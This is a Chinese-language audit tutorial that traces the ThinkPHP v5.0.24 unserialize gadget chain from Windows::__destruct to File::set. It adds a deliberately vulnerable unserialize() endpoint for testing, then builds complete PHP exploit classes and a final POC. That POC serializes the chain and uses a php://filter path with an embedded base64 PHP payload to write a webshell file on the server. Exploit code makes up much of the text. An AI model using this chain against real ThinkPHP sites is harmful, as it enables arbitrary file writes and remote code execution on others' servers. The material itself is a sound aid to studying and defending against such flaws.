ThinkPHP v5.0.24 反序列化
前言
昨天花了一下午的时间才把反序列化链给审明白,今天记录一下笔记再来审一遍。(自己还是太菜了~~~)
在我的印象中,ThinkPHP框架的漏洞非常多,所以也是学习代码审计的优选,提升代码能力,从每一天做起!
在这一次的审计中,因为没有使用动态调试,所以使用的是vscode进行审计,如果需要动态调试,我将会使用到PHPStorm。使用vscode的原因有:1. 具有语法高亮 2.可以进行定义跳转 3.可以进行全局文件及内容搜索,在分析的过程中我会逐一体现以上优点。
环境搭建
ThinkPHP这里提供两种环境搭建的方法
- 从Github中下载源码
https://github.com/top-think/think
再Releases中找到V5.0.24并下载
之后在目录下通过composer去更新源码
composer update
- 通过composer直接下载源码
直接使用composer去创建一个v5.0.24的ThinkPHP项目
composer create-project topthink/think tp 5.0.24
源码下载完成之后,因为并不存在反序列化入口,所以需要我们手动添加
在application\index\controller\Index.php
中加入一个新的方法
public function hello()
{
$payload = $_POST['payload'];
@unserialize($payload);
return "";
}
上下文如图:
反序列化分析
先把反序列化链调用过程写出来:
File.php:160, think\cache\driver\File->set()
Memcache.php:94, think\session\driver\Memcache->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\Model->toArray()
Model.php:936, think\Model->toJson()
Model.php:2267, think\Model->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
Index.php:14, app\index\controller\Index->hello()
Windows.php入口
前人栽树,后人乘凉,我们直接找到反序列化链的入口文件,从该类的__destruct
方法开始寻找
使用Ctrl+P
快速搜索文件
使用Ctrl+F
进行搜索定位关键字
接着按住Ctrl
然后左键
点击removeFiles
直接跳转到removeFiles
方法
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
跟随可控点$this→files
发现file_exists
函数可以触发__toString
方法
使用Ctrl+Shift+F
进行全局搜索function __toString
通过查看我们发现除了Input.php
和Expression.php
都是可以去接着触发__call
方法的,这里我们选择大佬们选择的Model.php
Model.php
中定义了一个抽象类Model
,所以我们需要找到一个它的子类进行定义,这里我们只需要全局搜索extends Model
,这里找到了Merge
和Pivot
,都可以使用,这里选择Pivot
每结束一部分,我们去编写每一部分的exp,否则最后还得重头再找一遍
namespace think\process\pipes;
use think\model\Pivot;
class Pipes
{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
Model.php过渡
跳转至该类的__toString
方法
public function __toString()
{
return $this->toJson();
}
继续跳转至toJson
方法
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
继续跳转至toArray
方法
我们看到了有很多的代码,这是审计过程中的第一道难关,我们先去大概的看一下每条代码,尝试去寻找可控参数并且尝试进行下一次跳转
直到进入887行的if
语句才有了可控参数跳转__call
方法的机会
这里找到了3个利用点:
- 892行的
$relation
可控 - 896行的
$relation
可控 - 912行的
$value
可控
前两者的用法是一样的,最后一种难度较高,但这三个都可以成功利用,这里我们用第3种难度较高的
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
首先我们要保证$this→append
数组不为空,其次在遍历数组时,要进入第三个else语句中,需要满足
is_array($name) // 值不为数组
strpos($name, '.') // 值中不含.
之后进入了Loader::parseName
方法
public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name);
}
return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}
就是对传入的参数进行了大小写转换和特殊符号转换,对正常字符串没有影响
我们想要达到912行还需要满足三个条件:
method_exists($this, $relation) // 自身中存在$relation方法
//$modelRelation = $this->$relation();
method_exists($modelRelation, 'getBindAttr') // $modelRelation类中存在getBindAttr方法
//$bindAttr = $modelRelation->getBindAttr();
$bindAttr = $modelRelation->getBindAttr() // $modelRelation->getBindAttr()的返回值为true
isset($this->data[$key]) // $this->data[$key]不存在
首先$relation
其实就是$name
,$name
是$this→append
的值,故可控,并且该方法的返回值必须得存在getBindAttr
方法才能满足第二个条件
我们先去找一下该类的哪一个方法可以返回一个任意的类对象,使用正则匹配return \$this->.*
,我们能和找到不少可以利用的,我们使用逻辑简单的利用
public function getError()
{
return $this->error;
}
我们只需要给$this→error
赋值即可返回想要的类对象,我们再去全局搜索有getBindAttr
方法的类,只找到了一个OneToOne抽象类,所以还需要搜索extends OneToOne
然后我们找到了HasOne
和BelongsTo
类,二者都可利用,这里我们使用HasOne
public function getBindAttr()
{
return $this->bindAttr;
}
然后需要满足第三个条件就需要使得getBindAttr
方法返回一个true
值,这里也是可控的,最后一个条件因为$this→data
默认为空并且也是可控的,故很好满足
但是成功到达目的地后我们需要让$value
为一个类对象从而实现向__call
的跳转
$value = $this->getRelationData($modelRelation);
如之前所说$modelRelation
是HasOne
类示例,进入getRelationData
方法
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
642行处我们可以获得我们想要的结果在651行返回,所以我们需要满足if
语句的条件
$this->parent // 不为空
!$modelRelation->isSelfRelation() // Relation::isSelfRelation返回值为false
get_class($modelRelation->getModel()) == get_class($this->parent)) // Relation::getModel返回值类型和$this->parent相同
$this→parent
可控,查看Relation::isSelfRelation
方法
public function isSelfRelation()
{
return $this->selfRelation;
}
$this->selfRelation
可控,查看Relation::getModel
方法
public function getModel()
{
return $this->query->getModel();
}
可控且默认为Query类,查看getModel方法
public function getModel()
{
return $this->model;
}
$this->model
可控,只需要让它和$this->parent
类型相同即可,$this->parent
又和$value
相同,故我们先寻找__call
方法,这里感觉也有好几个利用点,选择一个Output
进行利用
于是我们编写这块的exp如下:
namespace think;
use think\console\Output;
use think\model\relation\HasOne;
abstract class Model implements \JsonSerializable, \ArrayAccess
{
protected $append = [];
protected $error;
public $parent;
public function __construct()
{
$this->append = ["getError"];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation
{
protected $bindAttr = [];
function __construct()
{
parent::__construct();
$this->bindAttr = ["seizer", "seizer"];
}
}
class HasOne extends OneToOne
{
function __construct()
{
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation
{
protected $selfRelation;
protected $query;
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
}
}
namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
Output.php过渡
跳转至__call
方法,这里传入的第一个参数为”getAttr”和$this->bindAttr
的值”seizer”,第二个参数为可控值
public function __call($method, $args) // getAttr, ["seizer"]
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
$this→styles
可控,这里我们进入第一if
进行追踪,跳转至block
方法
protected function block($style, $message) // getAttr, seizer
{
$this->writeln("<{$style}>{$message}</$style>");
}
跳转至writeln
方法
public function writeln($messages, $type = self::OUTPUT_NORMAL) // <getAttr>seizer</getAttr>
{
$this->write($messages, true, $type);
}
跳转至write
方法
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL) // <getAttr>seizer</getAttr>
{
$this->handle->write($messages, $newline, $type);
}
$this→handle
可控,搜索还有哪些类有可利用的write
,这里选择Memcache.php中的write
方法
编写这部分的exp:
namespace think\console;
use think\session\driver\Memcache;
class Output
{
private $handle = null;
protected $styles = [];
public function __construct()
{
$this->handle = new Memcache();
$this->styles = ['getAttr'];
}
}
Memcache.php过渡
跳转至write
方法
public function write($sessID, $sessData) // <getAttr>seizer</getAttr>, flase
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
$this→headler
可控,查看可跳转的set
方法,这里选择了File.php的set
方法进行利用
构造该部分的exp:
namespace think\session\driver;
use SessionHandler;
use think\cache\driver\File;
class Memcache extends SessionHandler
{
protected $handler = null;
public function __construct()
{
$this->handler = new File();
}
}
File.php终点
public function set($name, $value, $expire = null) // <getAttr>seizer</getAttr>, flase
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<\?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
var_dump($filename);
echo "<br>";
var_dump($data);
echo "<br>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
163行处存在危险函数file_put_contents
,我们想办法加以利用写入webshell
149行$filenama
由参数$name
经过getCacheKey
方法处理后的值
其中$this->options
可控,可以让cache_subdir
为false
,让返回的$filename = $this->options['path'] . $name . '.php';
,故$filename
前部分内容可控
$data
则是第二个参数$value
的序列化值,不可控,再执行file_put_contents
时还未能写入任意内容
进入161行调用的setTagItem方法
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
这里200行再次调用set
方法,且此时的第二个参数变为可控值,为$name
也就是刚才的$filename
再次调用File::set
方法,因为这里的$key
也就是set
方法的$name
参数还会进入$this->getCacheKey
方法,导致该参数也可控,从而使得第二次调用set
时,file_put_contents
的俩个参数都可控
我们构造这一块的exp:
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $options = [];
public function __construct()
{
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
'data_compress' => false,
];
}
}
namespace think\cache;
abstract class Driver
{
protected $tag;
public function __construct()
{
$this->tag = true;
}
}
POC
合并分析中所有的exp然后输出序列化字符串即可
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
打入payload后就会在根目录产生名为a.php3b58a9545013e88c7186db11bb158c44.php
的php文件